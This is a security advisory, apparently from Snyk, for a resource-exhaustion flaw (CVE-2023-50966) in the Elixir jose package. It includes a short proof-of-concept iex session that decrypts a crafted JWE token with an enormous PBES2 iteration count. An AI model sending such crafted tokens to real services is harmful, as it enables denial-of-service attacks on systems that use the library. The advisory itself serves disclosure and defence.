<p>There is no fixed version for <code>jose</code>.</p>

Resource Exhaustion Affecting jose package, versions *

Snyk CVSS

Attack Complexity Low

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 0.05% (15^th percentile)

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Snyk ID SNYK-HEX-JOSE-6468183
published 20 Mar 2024
disclosed 19 Mar 2024
credit P3ngu1nW

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Introduced: 19 Mar 2024

CVE-2023-50966 Open this link in a new tab CWE-400 Open this link in a new tab

How to fix?

There is no fixed version for jose.

Overview

Affected versions of this package are vulnerable to Resource Exhaustion due to improper validation of the p2c (PBES2 Count) value in a JOSE header. An attacker can cause excessive CPU consumption by sending crafted JOSE headers.

PoC

iex(1)> jwk_secret = JOSE.JWK.from_oct("secret")

#JOSE.JWK<keys: :undefined, fields: %{}, ...>

iex(2)> JOSE.JWE.block_decrypt(jwk_secret, "eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIiwicDJjIjoxMDAwMDAwMDAwLCJwMnMiOiJmbmcxUVJNU1ljWDljb2s4RUhHWWhnIn0.YZBzMWbcndBWvOjf4c3R2oPtRsRqSKDc.rv6Qc-lKE0WA6-MI.bHE.hNkOsML8iJJWbd1KwDEGHQ") |> elem(0)

References

Security Report